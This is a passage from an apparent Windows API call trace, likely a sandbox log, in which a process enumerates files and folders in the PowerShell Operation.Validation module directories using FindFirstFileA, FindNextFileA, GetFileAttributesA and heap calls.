hHeap=0x2ad0000) returned 1 [0230.864] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive\\*.*", lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70d5fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0230.864] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70d5fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.864] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 1 [0230.864] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 0 [0230.865] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0230.865] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive\\Comprehensive.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\diagnostics\\comprehensive\\comprehensive.tests.ps1")) returned 0x20 [0230.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d340 | out: hHeap=0x2ad0000) returned 1 [0230.866] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0230.867] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive\\Comprehensive.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive\\Comprehensive.Tests.ps1", lpFilePart=0x9bada4*="Comprehensive.Tests.ps1") returned 0x92 [0230.867] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0230.867] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple\\*.*", lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0230.867] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.867] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 1 [0230.868] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 0 [0230.868] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0230.868] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple\\Simple.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\diagnostics\\simple\\simple.tests.ps1")) returned 0x20 [0230.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f590 | out: hHeap=0x2ad0000) returned 1 [0230.869] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0230.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0230.869] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple\\Simple.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple\\Simple.Tests.ps1", lpFilePart=0x9bada4*="Simple.Tests.ps1") returned 0x84 [0230.869] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0230.869] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7590 [0230.870] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.870] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13b6, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.PowerShell.Operation.Validation.Tests.ps1", cAlternateFileName="")) returned 1 [0230.870] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Modules", cAlternateFileName="")) returned 1 [0230.870] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Modules", cAlternateFileName="")) returned 0 [0230.870] FindClose (in: hFindFile=0x10f7590 | out: hFindFile=0x10f7590) returned 1 [0230.870] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Microsoft.PowerShell.Operation.Validation.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\microsoft.powershell.operation.validation.tests.ps1")) returned 0x20 [0230.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a9e90 | out: hHeap=0x2ad0000) returned 1 [0230.871] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0230.871] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules")) returned 0x10 [0230.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d0 | out: hHeap=0x2ad0000) returned 1 [0230.871] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0230.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0230.871] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Microsoft.PowerShell.Operation.Validation.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Microsoft.PowerShell.Operation.Validation.Tests.ps1", lpFilePart=0x9bada4*="Microsoft.PowerShell.Operation.Validation.Tests.ps1") returned 0x99 [0230.872] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\*.*", lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a10 [0230.905] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.906] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f987, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Example1.Diagnostics", cAlternateFileName="EXAMPL~1.DIA")) returned 1 [0230.906] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71143e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1 [0230.906] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1 [0230.906] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0 [0230.906] FindClose (in: hFindFile=0x10f7a10 | out: hFindFile=0x10f7a10) returned 1 [0230.944] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example1.diagnostics")) returned 0x10 [0230.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f620 | out: hHeap=0x2ad0000) returned 1 [0230.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0230.945] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example2.diagnostics")) returned 0x10 [0230.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f7d0 | out: hHeap=0x2ad0000) returned 1 [0230.947] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example3.diagnostics")) returned 0x10 [0230.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f350 | out: hHeap=0x2ad0000) returned 1 [0230.947] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\*.*", lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f987, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7910 [0230.948] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f987, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.948] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0230.948] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0230.948] FindClose (in: hFindFile=0x10f7910 | out: hFindFile=0x10f7910) returned 1 [0230.948] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example1.diagnostics\\diagnostics")) returned 0x10 [0230.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac01f0 | out: hHeap=0x2ad0000) returned 1 [0230.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0230.949] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\*.*", lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0230.949] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.949] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="Simple", cAlternateFileName="")) returned 1 [0230.950] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="Simple", cAlternateFileName="")) returned 0 [0230.950] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0230.950] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example1.diagnostics\\diagnostics\\simple")) returned 0x10 [0230.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d840 | out: hHeap=0x2ad0000) returned 1 [0230.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0230.950] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple\\*.*", lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f78d0 [0230.951] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.951] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0230.951] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0230.951] FindClose (in: hFindFile=0x10f78d0 | out: hFindFile=0x10f78d0) returned 1 [0230.951] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple\\Example1.Diagnostics.Tests.ps1" (normalized: "c:\\program files 